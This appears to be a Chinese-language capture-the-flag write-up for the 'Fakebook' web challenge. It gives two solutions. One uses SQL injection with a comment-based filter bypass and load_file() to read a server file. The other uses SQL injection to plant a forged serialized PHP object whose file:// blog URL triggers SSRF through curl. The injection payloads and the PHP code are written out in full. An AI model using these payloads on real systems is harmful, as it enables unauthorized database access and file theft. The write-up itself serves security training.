解法一
打开题目是这样的
首先扫一下目录扫到 flag.php(有可能存在 flag,但是访问后无内容)、robots.txt,访问 robots.txt 发现有一个 user.php.bak 的备份文件,下载源码稍后再审计。主页注册一个账号,登录后显示账号信息,点进用户名显示 username、age、blog 和一个 iframe 引入的用户填写的 blog 网址
url 处的 view.php?no=1,no 参数可能存在 sql 注入漏洞,页面上引入 blog 是用户可控的,那么也有可能会存在 ssrf 漏洞,先尝试手工注入
?no=1 and 1=1 //回显正常 ?no=1 and 1=2 //回显报错 ?no=1 order by 3 //正常 ?no=1 order by 4 //正常 ?no=1 order by 5 //报错,所以4列 ?no=-1 union select 1,2,3,4--+ //过滤union select ?no=-1 union/**/select 1,2,3,4--+ //绕过过滤
回显位是 username,并且绝对路径是 /var/www/html/view.php
接着尝试 sql 注入获取信息
?no=-1 union/**/select 1,database(),3,4--+ //数据库名fakebook ?no=-1 union/**/select 1,user(),3,4--+ //用户root@localhost
root 权限时,load_file() 函数可以利用绝对路径去加载一个文件,所以直接读 /var/www/html/flag.php 文件获得 flag
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
解法二
接着 sql 注入获取信息
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+ //获得users表 ?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+ //获得一些字段
sql 注入查看 data 字段内容,是一段序列化后的 UserInfo 对象
?no=-1 union/**/select 1,group_concat(data),3,4 from users where no='1'--+
//O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}
查看扫目录时得到的源码 user.php.bak,源码中有一个 UserInfo 的类,主要功能是建立会话并判断是否是有效的请求,如果不是则返回 404,如果是则返回 url 的内容。get 方法中,curl_exec() 支持 file 协议,如果使用不当就会导致 ssrf 漏洞通过 file 协议读文件
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog); } }
所以思路为 sql 注入发现 data 字段存放的是用户信息经过反序列化的结果,结合前面 view.php 页面会加载用户的 blog 信息,所以这里有可能是利用反序化数据库中的 data 字段,然后取出 blog 并加载。在反序列化中构造 file 文件协议,内容如下
<?php class UserInfo { public $name = "a"; public $age = 1; public $blog = "file:///var/www/html/flag.php"; } $data = new UserInfo(); echo serialize($data); ?> //O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
select 1,2,3,4 的对应位置为 no,username,passwd,data,所以构造 payload 如下,iframe 内容 base64 解码后得到 flag
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
参考文章:
https://www.abelche.com/2019/07/29/Writeup/WP-%E7%BD%91%E9%BC%8E%E6%9D%AF-2018-Fakebook/